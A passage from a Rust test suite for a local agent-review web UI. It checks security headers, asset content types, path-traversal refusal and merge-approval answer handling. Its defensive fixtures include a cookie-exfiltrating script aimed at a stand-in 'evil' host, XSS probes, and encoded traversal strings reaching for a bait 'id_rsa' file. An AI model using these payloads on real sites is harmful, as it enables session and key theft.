12091 let staging = fx.home.path().join("staging");
12094 std::fs::create_dir_all(&staging).expect("staging dir");
12095 let sources: Vec<PathBuf> = assets
12096 .iter()
12097 .map(|(name, bytes)| {
12098 let path = staging.join(name);
12099 std::fs::write(&path, bytes).expect("write staged asset");
12100 path
12101 })
12102 .collect();
12103 store
12104 .put_panel(&mut q, html, &sources)
12105 .expect("write the panel");
12106 store.put(&mut q).expect("put question");
12107 q.id
12108 }
12109
12110 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12119 seed_talk_at(&fx.talks(), id, status)
12120 }
12121
12122 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12123 std::fs::create_dir_all(store.root()).expect("talks dir");
12124 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12125 .expect("serialize a seat");
12126 let body = serde_json::json!({
12127 "schema": 1,
12128 "id": id,
12129 "repo": "/repo/magi",
12130 "agent": "mock",
12131 "status": status,
12132 "turns": [],
12133 "created_at": Timestamp::now().to_string(),
12134 "updated_at": Timestamp::now().to_string(),
12135 "seat": seat,
12136 });
12137 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12138 store.get(id).expect("the seeded talk has to be readable");
12139 id.to_owned()
12140 }
12141
12142 #[tokio::test]
12143 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12144 let fx = Fixture::start().await;
12145 let id = panel(
12146 &fx,
12147 "<h1>Merge?</h1><img src=\"diff.svg\">",
12148 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12149 );
12150
12151 for path in [
12152 format!("/api/questions/{id}/panel"),
12153 format!("/api/questions/{id}/asset/diff.svg"),
12154 ] {
12155 let res = fx.get(&path).await;
12156 assert_eq!(res.status, 200, "{path}: {}", res.body);
12157 assert_eq!(
12163 res.header("content-security-policy"),
12164 Some(
12165 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12166 font-src data:; base-uri 'none'; form-action 'none'; \
12167 frame-ancestors 'self'"
12168 ),
12169 "{path} is the only thing between a hostile panel and the tailnet"
12170 );
12171 assert_eq!(
12172 res.header("x-content-type-options"),
12173 Some("nosniff"),
12174 "{path}: a browser must not re-decide the type we sent"
12175 );
12176 assert_eq!(
12177 res.header("referrer-policy"),
12178 Some("no-referrer"),
12179 "{path}: a panel must not leak the question id off the machine"
12180 );
12181
12182 let pre = fx.head(&path).await;
12187 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12188 assert_eq!(
12189 pre.header("content-security-policy"),
12190 res.header("content-security-policy"),
12191 "{path}: the preflight carries the same policy"
12192 );
12193 assert_eq!(
12194 pre.header("content-type"),
12195 res.header("content-type"),
12196 "{path}: the preflight carries the same type"
12197 );
12198 }
12199 }
12200
12201 #[tokio::test]
12202 async fn a_panel_reaches_the_browser_byte_for_byte() {
12203 let fx = Fixture::start().await;
12204 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
12209 let id = panel(&fx, html, &[]);
12210
12211 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12212
12213 assert_eq!(res.status, 200);
12214 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12215 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12216 assert_eq!(
12217 res.header("content-disposition"),
12218 None,
12219 "the panel itself is rendered in the frame, not downloaded"
12220 );
12221 }
12222
12223 #[tokio::test]
12224 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12225 let fx = Fixture::start().await;
12226 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12227 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12228 let id = panel(
12229 &fx,
12230 "<img src=\"diff.svg\"><img src=\"shot.png\">",
12231 &[("diff.svg", svg), ("shot.png", png)],
12232 );
12233
12234 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12235 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12236
12237 assert_eq!(as_svg.status, 200);
12238 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12239 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12244
12245 assert_eq!(as_png.status, 200);
12246 assert_eq!(as_png.header("content-type"), Some("image/png"));
12247 assert_eq!(
12248 as_png.header("content-disposition"),
12249 None,
12250 "a raster image has no execution surface, so tapping it still shows it"
12251 );
12252 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12253 }
12254
12255 #[tokio::test]
12256 async fn an_html_asset_is_never_served_as_html() {
12257 let fx = Fixture::start().await;
12258 let id = panel(
12259 &fx,
12260 "<p>see the notes</p>",
12261 &[
12262 (
12263 "notes.html",
12264 b"<script>fetch('http://evil/'+document.cookie)</script>",
12265 ),
12266 ("hook.js", b"fetch('http://evil/')"),
12267 ("data.json", b"{}"),
12268 ("HEADLINE.TXT", b"plain"),
12269 ],
12270 );
12271
12272 for name in ["notes.html", "hook.js", "data.json"] {
12273 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12274 assert_eq!(res.status, 200, "{name}: {}", res.body);
12275 assert_eq!(
12280 res.header("content-type"),
12281 Some("application/octet-stream"),
12282 "{name} must not be a type the browser will execute or render"
12283 );
12284 }
12285 let txt = fx
12288 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12289 .await;
12290 assert_eq!(
12291 txt.header("content-type"),
12292 Some("text/plain; charset=utf-8")
12293 );
12294 }
12295
12296 #[tokio::test]
12297 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12298 let fx = Fixture::start().await;
12299 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12300 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12304
12305 for encoded in [
12312 "%2e%2e%2fid_rsa",
12313 "..%2fid_rsa",
12314 "..%5cid_rsa",
12315 "%2e%2e%5cid_rsa",
12316 "diff%00.svg",
12317 "..",
12318 ".hidden",
12319 "%2e%2e%2f%2e%2e%2fid_rsa",
12320 ] {
12321 let res = fx
12322 .get(&format!("/api/questions/{id}/asset/{encoded}"))
12323 .await;
12324 assert_eq!(
12325 res.status, 400,
12326 "`{encoded}` has to be refused by name, not looked up: {}",
12327 res.body
12328 );
12329 assert!(res.json()["error"].is_string(), "{}", res.body);
12330 }
12331
12332 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12338 let res = fx
12339 .get(&format!("/api/questions/{id}/asset/{literal}"))
12340 .await;
12341 assert_eq!(
12342 res.status, 404,
12343 "`{literal}` must not match the asset route at all: {}",
12344 res.body
12345 );
12346 }
12347 }
12348
12349 #[tokio::test]
12350 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12351 let fx = Fixture::start().await;
12352 let plain = ask(&fx, "Which backend?", &["SQLite"]);
12353 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12354
12355 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12359 assert_eq!(none.status, 404, "{}", none.body);
12360 assert!(none.json()["error"].is_string(), "{}", none.body);
12361 assert_eq!(
12362 fx.head(&format!("/api/questions/{plain}/panel"))
12363 .await
12364 .status,
12365 404,
12366 "the preflight is the only way the client can learn this"
12367 );
12368
12369 let missing = fx
12371 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12372 .await;
12373 assert_eq!(missing.status, 404, "{}", missing.body);
12374 assert!(missing.json()["error"].is_string(), "{}", missing.body);
12375
12376 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12378 assert_eq!(
12379 fx.get("/api/questions/nope/asset/diff.svg").await.status,
12380 404
12381 );
12382 }
12383
12384 #[tokio::test]
12385 async fn a_run_with_an_open_question_reads_as_waiting() {
12386 let fx = Fixture::start().await;
12387 let run = "20260902-000000-beef".to_owned();
12388 write_run(&fx.runs(), &run, RunStatus::Implementing);
12389
12390 let before = fx.get("/api/runs").await.json();
12391 assert_eq!(before[0]["waiting"], false, "{before}");
12392
12393 let store = fx.questions();
12394 let mut q = Question::new(
12395 run.clone(),
12396 "implement".to_owned(),
12397 "impl-A".to_owned(),
12398 "Which backend?".to_owned(),
12399 String::new(),
12400 vec!["SQLite".to_owned()],
12401 );
12402 store.put(&mut q).expect("put");
12403
12404 let during = fx.get("/api/runs").await.json();
12405 assert_eq!(during[0]["waiting"], true, "{during}");
12406
12407 q.answer(Answer::Choice("SQLite".to_owned()))
12410 .expect("answer");
12411 store.put(&mut q).expect("put");
12412 let after = fx.get("/api/runs").await.json();
12413 assert_eq!(after[0]["waiting"], false, "{after}");
12414 }
12415
12416 #[tokio::test]
12417 async fn an_open_question_is_listed_and_counted_by_health() {
12418 let fx = Fixture::start().await;
12419 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12420
12421 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12422 let listed = fx.get("/api/questions").await.json();
12423 assert_eq!(listed.as_array().expect("array").len(), 1);
12424 assert_eq!(listed[0]["id"], id);
12425 assert_eq!(listed[0]["status"], "open");
12426 assert_eq!(listed[0]["choices"][1], "Redis");
12427 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12430 }
12431
12432 fn obsolete_approval_state() -> RunState {
12433 let mut state = crate::land::tests::repair_state(true, true);
12434 state.pr = Some(crate::run::PrRecord {
12435 url: "https://github.com/example/repo/pull/42".into(),
12436 number: 42,
12437 state: "open".into(),
12438 checks: "green".into(),
12439 round: 1,
12440 rounds: 4,
12441 red_at_merge: Vec::new(),
12442 });
12443 state
12444 }
12445
12446 #[tokio::test]
12447 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12448 for owner in ["missing", "current", "completed", "later"] {
12449 let fx = Fixture {
12450 home: TempDir::new().unwrap(),
12451 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12452 };
12453 let mut state = obsolete_approval_state();
12454 state.status = RunStatus::Landing;
12455 state.parked = true;
12456 state.driver_exited = true;
12457 let mut q = Question::new(
12458 state.id.clone(),
12459 crate::land::APPROVAL_NODE.into(),
12460 "land".into(),
12461 "Old approval".into(),
12462 "Original evidence".into(),
12463 vec!["merge".into(), "hold".into()],
12464 );
12465 state.land_approval = Some(crate::run::LandApproval {
12466 question: q.id.clone(),
12467 head: "head".into(),
12468 });
12469 state.save_under(fx.home.path()).unwrap();
12470 let stale = state.clone();
12471 fx.questions().put(&mut q).unwrap();
12472 let mut task = Task::new(
12473 "Owner".into(),
12474 "Original instruction".into(),
12475 state.repo.clone(),
12476 Source::Human,
12477 );
12478 task.runs.push(state.id.clone());
12479 task.status = if owner == "completed" {
12480 TaskStatus::Done
12481 } else {
12482 TaskStatus::Parked
12483 };
12484 if owner == "later" {
12485 task.runs.push("later-run".into());
12486 }
12487 if owner != "missing" {
12488 fx.queue().put(&mut task).unwrap();
12489 }
12490 let ui = Arc::new(Ui::new(
12491 fx.queue(),
12492 fx.questions(),
12493 fx.talks(),
12494 fx.runs(),
12495 fx.home.path().into(),
12496 state.repo.clone(),
12497 ));
12498 let response = question_answer(
12499 State(ui),
12500 Path(q.id.clone()),
12501 Ok(Json(NewAnswer {
12502 choice: Some(crate::merge_decision::DISMISS.into()),
12503 text: None,
12504 ..Default::default()
12505 })),
12506 )
12507 .await
12508 .unwrap();
12509 assert_eq!(
12510 response.0.question.resolution().as_deref(),
12511 Some(crate::merge_decision::DISMISS)
12512 );
12513 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12514 assert_eq!(disk.status, RunStatus::Superseded);
12515 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12516 assert!(!crate::merge_decision::resumable_hold(&disk));
12517 assert_eq!(
12518 serde_json::to_value(&disk.pr).unwrap(),
12519 serde_json::to_value(&stale.pr).unwrap()
12520 );
12521 assert_eq!(fx.questions().count_open(), 0);
12522 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12523 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12524 if owner == "missing" {
12525 assert!(fx.queue().list().is_empty());
12526 } else {
12527 let after = fx.queue().get(&task.id).unwrap();
12528 assert_eq!(
12529 after.status,
12530 if owner == "current" {
12531 TaskStatus::Done
12532 } else {
12533 task.status
12534 }
12535 );
12536 assert_eq!(after.runs, task.runs);
12537 assert_eq!(after.instruction, task.instruction);
12538 assert_eq!(after.action_applied(&q.id), owner == "current");
12539 }
12540 }
12541 }
12542
12543 #[tokio::test]
12544 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12545 let fx = Fixture::start().await;
12546 let mut state = obsolete_approval_state();
12547 state.status = RunStatus::Landing;
12548 state.parked = true;
12549 state.driver_exited = true;
12550 let mut q = Question::new(
12551 state.id.clone(),
12552 crate::land::APPROVAL_NODE.into(),
12553 "land".into(),
12554 "Superseded PR approval".into(),
12555 "Original review evidence".into(),
12556 vec!["merge".into(), "hold".into()],
12557 );
12558 state.land_approval = Some(crate::run::LandApproval {
12559 question: q.id.clone(),
12560 head: "old-reviewed-head".into(),
12561 });
12562 state.save_under(fx.home.path()).unwrap();
12565 let stale_driver = state.clone();
12566 fx.questions().put(&mut q).unwrap();
12567 let path = fx
12568 .home
12569 .path()
12570 .join("questions")
12571 .join(format!("{}.json", q.id));
12572 let mut legacy = serde_json::to_value(&q).unwrap();
12573 legacy["schema"] = 9.into();
12574 legacy.as_object_mut().unwrap().remove("merge_target");
12575 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12576
12577 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12580 let answer_path = format!("/api/questions/{}/answer", q.id);
12581 let res = fx.post(&answer_path, Some(&body)).await;
12582 assert_eq!(res.status, 200, "{}", res.body);
12583 let disk = fx.questions().get(&q.id).unwrap();
12584 assert_eq!(
12585 disk.resolution().as_deref(),
12586 Some(crate::merge_decision::DISMISS)
12587 );
12588 assert!(disk.detail.starts_with("Original review evidence"));
12589 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12590 assert_eq!(retired.status, RunStatus::Superseded);
12591 assert_eq!(
12592 serde_json::to_value(&retired.pr).unwrap(),
12593 serde_json::to_value(&state.pr).unwrap()
12594 );
12595 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12596 assert!(!crate::merge_decision::resumable_hold(&retired));
12597 assert!(fx.queue().list().is_empty());
12598 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12599 let addr = Fixture::serve(
12601 fx.home.path(),
12602 PathBuf::from("/repo/magi"),
12603 launch_idle,
12604 None,
12605 )
12606 .await;
12607 let reconnected = Fixture {
12608 home: fx.home,
12609 addr,
12610 };
12611 let listed = reconnected.get("/api/questions").await.json();
12612 assert!(
12613 listed
12614 .as_array()
12615 .unwrap()
12616 .iter()
12617 .all(|q| q["status"] != "open")
12618 );
12619 assert_eq!(listed[0]["id"], q.id, "history remains available");
12620 assert_eq!(
12621 reconnected.get("/api/health").await.json()["questions_open"],
12622 0
12623 );
12624 assert_eq!(
12625 reconnected
12626 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12627 .await
12628 .status,
12629 409
12630 );
12631 assert!(
12633 reconnected
12634 .questions()
12635 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12636 .is_err()
12637 );
12638 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12641 }
12642
12643 #[tokio::test]
12644 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12645 let fx = Fixture::start().await;
12646 let mut state = obsolete_approval_state();
12647 state.status = RunStatus::Landing;
12648 state.driver_exited = true;
12649 let mut q = Question::new(
12650 state.id.clone(),
12651 crate::land::APPROVAL_NODE.into(),
12652 "land".into(),
12653 "Obsolete approval".into(),
12654 String::new(),
12655 vec!["merge".into(), "hold".into()],
12656 );
12657 state.land_approval = Some(crate::run::LandApproval {
12658 question: q.id.clone(),
12659 head: "head".into(),
12660 });
12661 state.save_under(fx.home.path()).unwrap();
12662 fx.questions().put(&mut q).unwrap();
12663 let mut task = Task::new(
12664 "Owner".into(),
12665 "Original instruction".into(),
12666 state.repo.clone(),
12667 Source::Human,
12668 );
12669 task.runs = vec![state.id.clone(), "later-run".into()];
12670 fx.queue().put(&mut task).unwrap();
12671 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12672 let claim = fx.queue().claim(&task.id).unwrap();
12673 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12674 let path = format!("/api/questions/{}/answer", q.id);
12675 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12676 assert!(fx.questions().get(&q.id).unwrap().status.open());
12677 drop(claim);
12678 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12679 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12680 assert!(fx.questions().get(&q.id).unwrap().status.open());
12681 drop(publication);
12682 state.driver_exited = false;
12684 state.driver_pid = None;
12685 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12687 assert_eq!(
12688 state.liveness_under(fx.home.path(), false),
12689 crate::run::Liveness::Unknown
12690 );
12691
12692 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12693 state.driver_exited = true;
12694 state.land_armed_head = Some("head".into());
12695 state.save_under(fx.home.path()).unwrap();
12696 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12697 state.land_armed_head = None;
12698 state.save_under(fx.home.path()).unwrap();
12699 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12700 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12701 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12702 }
12703
12704 #[tokio::test]
12705 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12706 let fx = Fixture::start().await;
12707 let mut state = obsolete_approval_state();
12708 state.status = RunStatus::Landing;
12709 state.driver_exited = true;
12710 let mut q = Question::new(
12711 state.id.clone(),
12712 crate::land::APPROVAL_NODE.into(),
12713 "land".into(),
12714 "Obsolete approval".into(),
12715 String::new(),
12716 vec!["merge".into(), "hold".into()],
12717 );
12718 state.land_approval = Some(crate::run::LandApproval {
12719 question: q.id.clone(),
12720 head: "head".into(),
12721 });
12722 state.save_under(fx.home.path()).unwrap();
12723 fx.questions().put(&mut q).unwrap();
12724 let mut task = Task::new(
12725 "Owner".into(),
12726 "Original instruction".into(),
12727 state.repo.clone(),
12728 Source::Human,
12729 );
12730 task.runs.push(state.id.clone());
12731 task.status = TaskStatus::Parked;
12732 fx.queue().put(&mut task).unwrap();
12733 state.merge_decision = Some(crate::merge_decision::Decision {
12736 question: q.id.clone(),
12737 target: crate::merge_decision::Target {
12738 pr: state.pr.as_ref().unwrap().url.clone(),
12739 head: "head".into(),
12740 language: "ja".into(),
12741 },
12742 choice: crate::merge_decision::DISMISS.into(),
12743 closed: false,
12744 replacement_run: None,
12745 replacement_pr: None,
12746 });
12747 state.status = RunStatus::Superseded;
12748 state.save_under(fx.home.path()).unwrap();
12749 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12750 let path = format!("/api/questions/{}/answer", q.id);
12751 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12752 let done = fx.queue().get(&task.id).unwrap();
12753 assert_eq!(done.status, TaskStatus::Done);
12754 assert_eq!(done.runs, task.runs);
12755 assert_eq!(done.instruction, task.instruction);
12756 assert!(done.action_applied(&q.id));
12757 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12758 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12759 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12760 }
12761
12762 #[tokio::test]
12763 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12764 let home = TempDir::new().unwrap();
12765 let ui = Arc::new(Ui::new(
12766 Queue::at(home.path().join("queue")),
12767 Questions::at(home.path().join("questions")),
12768 Talks::at(home.path().join("talks")),
12769 home.path().join("runs"),
12770 home.path().to_owned(),
12771 home.path().to_owned(),
12772 ));
12773 let talks = &ui.talks;
12774 let chat =
12775 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12776 let mut q = Question::new(
12777 "run".into(),
12778 crate::land::APPROVAL_NODE.into(),
12779 "land".into(),
12780 "Merge?".into(),
12781 String::new(),
12782 vec!["merge".into(), "hold".into()],
12783 );
12784 q.routed_task = Some("task".into());
12785 q.routed_chat = Some(chat.id.clone());
12786 q.merge_target = Some(crate::merge_decision::Target {
12787 pr: "https://example.test/pull/1".into(),
12788 head: "head-a".into(),
12789 language: "en".into(),
12790 });
12791 ui.questions.put(&mut q).unwrap();
12792 let send = |body| {
12793 question_answer(
12794 State(ui.clone()),
12795 Path(q.id.clone()),
12796 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12797 )
12798 };
12799 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12800 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12801 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12802 assert!(send(wrong_chat).await.is_err());
12803 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12804 assert!(send(stale).await.is_err());
12805 assert!(ui.questions.get(&q.id).unwrap().status.open());
12806 assert!(send(button.clone()).await.is_ok());
12807 assert_eq!(
12808 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12809 Some("merge")
12810 );
12811 assert!(send(button).await.is_err());
12812 }
12813
12814 #[tokio::test]
12815 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12816 let home = TempDir::new().unwrap();
12817 let ui = Arc::new(Ui::new(
12818 Queue::at(home.path().join("queue")),
12819 Questions::at(home.path().join("questions")),
12820 Talks::at(home.path().join("talks")),
12821 home.path().join("runs"),
12822 home.path().to_owned(),
12823 home.path().to_owned(),
12824 ));
12825 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12826 let mut q = Question::new(
12827 "run".into(),
12828 crate::land::APPROVAL_NODE.into(),
12829 "land".into(),
12830 "Merge?".into(),
12831 String::new(),
12832 vec!["merge".into(), choice.into()],
12833 );
12834 q.routed_task = Some("task".into());
12835 q.merge_target = Some(crate::merge_decision::Target {
12836 pr: "https://example.test/pull/1".into(),
12837 head: "head-a".into(),
12838 language: "en".into(),
12839 });
12840 ui.questions.put(&mut q).unwrap();
12841 let answer = |c: &str| {
12842 question_answer(
12843 State(ui.clone()),
12844 Path(q.id.clone()),
12845 Ok(Json(
12846 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12847 .unwrap(),
12848 )),
12849 )
12850 };
12851 let _ = answer(choice).await.unwrap();
12852 assert_eq!(
12853 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12854 Some(choice)
12855 );
12856 }
12857 }
12858
12859 #[tokio::test]
12860 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12861 let home = TempDir::new().unwrap();
12862 let ui = Arc::new(Ui::new(
12863 Queue::at(home.path().join("queue")),
12864 Questions::at(home.path().join("questions")),
12865 Talks::at(home.path().join("talks")),
12866 home.path().join("runs"),
12867 home.path().to_owned(),
12868 home.path().to_owned(),
12869 ));
12870 let mut q = Question::new(
12871 "run".into(),
12872 crate::github_text::ASK_NODE.into(),
12873 "posting-gate".into(),
12874 "Post?".into(),
12875 String::new(),
12876 vec!["use fallback".into()],
12877 );
12878 q.routed_task = Some("task".into());
12879 ui.questions.put(&mut q).unwrap();
12880 let sent = question_answer(
12881 State(ui.clone()),
12882 Path(q.id.clone()),
12883 Ok(Json(
12884 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12885 .unwrap(),
12886 )),
12887 )
12888 .await;
12889 let _ = sent.unwrap();
12890 assert_eq!(
12891 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12892 Some("use fallback")
12893 );
12894 }
12895
12896 #[tokio::test]
12897 async fn merge_decision_api_persists_exact_target_and_selected_action() {
12898 let fx = Fixture {
12899 home: TempDir::new().unwrap(),
12900 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12901 };
12902 for choice in [
12903 crate::land::HOLD,
12904 crate::land::REPAIR,
12905 crate::land::APPROVE,
12906 crate::merge_decision::WITHDRAW,
12907 "reimplement:beta",
12908 ] {
12909 let mut q = Question::new(
12910 "old-run".into(),
12911 crate::land::APPROVAL_NODE.into(),
12912 "land".into(),
12913 "Decision".into(),
12914 "Review findings".into(),
12915 vec![
12916 "merge".into(),
12917 "hold".into(),
12918 crate::land::REPAIR.into(),
12919 crate::merge_decision::WITHDRAW.into(),
12920 "reimplement:beta".into(),
12921 ],
12922 );
12923 q.merge_target = Some(crate::merge_decision::Target {
12924 pr: "https://github.com/example/repo/pull/42".into(),
12925 head: "exact-reviewed-head".into(),
12926 language: "ja".into(),
12927 });
12928 q.consult = Some(ask::ChatConsult {
12929 talk: "another-conversation".into(),
12930 at: jiff::Timestamp::now(),
12931 });
12932 fx.questions().put(&mut q).unwrap();
12933 let ui = Arc::new(Ui::new(
12934 fx.queue(),
12935 fx.questions(),
12936 fx.talks(),
12937 fx.runs(),
12938 fx.home.path().into(),
12939 std::path::PathBuf::from("."),
12940 ));
12941 let response = question_answer(
12942 State(ui.clone()),
12943 Path(q.id.clone()),
12944 Ok(Json(NewAnswer {
12945 choice: Some(choice.into()),
12946 text: None,
12947 ..Default::default()
12948 })),
12949 )
12950 .await
12951 .unwrap();
12952 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12953 let disk = fx.questions().get(&q.id).unwrap();
12954 assert_eq!(disk.merge_target, q.merge_target);
12955 assert_eq!(disk.consult, q.consult);
12956 assert_eq!(disk.resolution().as_deref(), Some(choice));
12957 assert!(
12958 question_answer(
12959 State(ui),
12960 Path(q.id.clone()),
12961 Ok(Json(NewAnswer {
12962 choice: Some("merge".into()),
12963 text: None,
12964 ..Default::default()
12965 }))
12966 )
12967 .await
12968 .is_err(),
12969 "an already settled decision cannot turn into merge approval"
12970 );
12971 }
12972 }
12973
12974 #[tokio::test]
12975 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12976 let fx = Fixture {
12977 home: TempDir::new().unwrap(),
12978 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12979 };
12980 let mut state = crate::land::tests::repair_state(true, true);
12981 state.status = RunStatus::Landing;
12982 state.parked = true;
12983 state.driver_exited = true;
12984 let mut task = Task::new(
12985 "Existing PR owner".into(),
12986 state.instruction.clone(),
12987 state.repo.clone(),
12988 Source::Human,
12989 );
12990 task.runs.push(state.id.clone());
12991 task.status = TaskStatus::Parked;
12992 fx.queue().put(&mut task).unwrap();
12993 let mut q = Question::new(
12994 state.id.clone(),
12995 crate::land::APPROVAL_NODE.into(),
12996 "land".into(),
12997 "Contested merge".into(),
12998 "Original evidence".into(),
12999 vec!["merge".into(), "hold".into()],
13000 );
13001 state.land_approval = Some(crate::run::LandApproval {
13002 question: q.id.clone(),
13003 head: "reviewed-head".into(),
13004 });
13005 state.save_under(fx.home.path()).unwrap();
13006 fx.questions().put(&mut q).unwrap();
13007 task.hold_manual(Some("Pause this PR".into()));
13009 fx.queue().put(&mut task).unwrap();
13010 let ui = Arc::new(Ui::new(
13013 fx.queue(),
13014 fx.questions(),
13015 fx.talks(),
13016 fx.runs(),
13017 fx.home.path().to_path_buf(),
13018 state.repo.clone(),
13019 ));
13020 let response = question_answer(
13021 State(ui),
13022 Path(q.id.clone()),
13023 Ok(Json(NewAnswer {
13024 choice: Some(crate::land::REPAIR.into()),
13025 text: None,
13026 ..Default::default()
13027 })),
13028 )
13029 .await
13030 .unwrap();
13031 assert_eq!(response.0.question.id, q.id);
13032 let upgraded = fx.questions().get(&q.id).unwrap();
13033 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13034 assert!(upgraded.detail.starts_with("Original evidence"));
13035 let claim = fx.queue().claim(&task.id).unwrap();
13036 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13037 assert!(
13038 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13039 "an existing driver keeps its claim"
13040 );
13041 drop(claim);
13042 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13043 let resumed = fx.queue().get(&task.id).unwrap();
13044 assert_eq!(
13045 resumed
13046 .resume_override
13047 .as_ref()
13048 .unwrap()
13049 .pinned_run
13050 .as_deref(),
13051 Some(state.id.as_str())
13052 );
13053 assert!(resumed.status.runnable());
13054 assert_eq!(resumed.instruction, task.instruction);
13055 assert_eq!(resumed.runs, task.runs);
13056 assert!(resumed.action_applied(&q.id));
13057 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13058 assert_eq!(fx.queue().list().len(), 1);
13059 assert_eq!(
13060 fx.queue().get(&task.id).unwrap().resume_override,
13061 resumed.resume_override
13062 );
13063 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13064 assert!(
13065 disk.merge_repairs.is_empty(),
13066 "only the claimed run driver may execute repair"
13067 );
13068 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13069 }
13070
13071 #[tokio::test]
13072 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13073 let fx = Fixture::start().await;
13074 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13075 let path = format!("/api/questions/{id}/answer");
13076
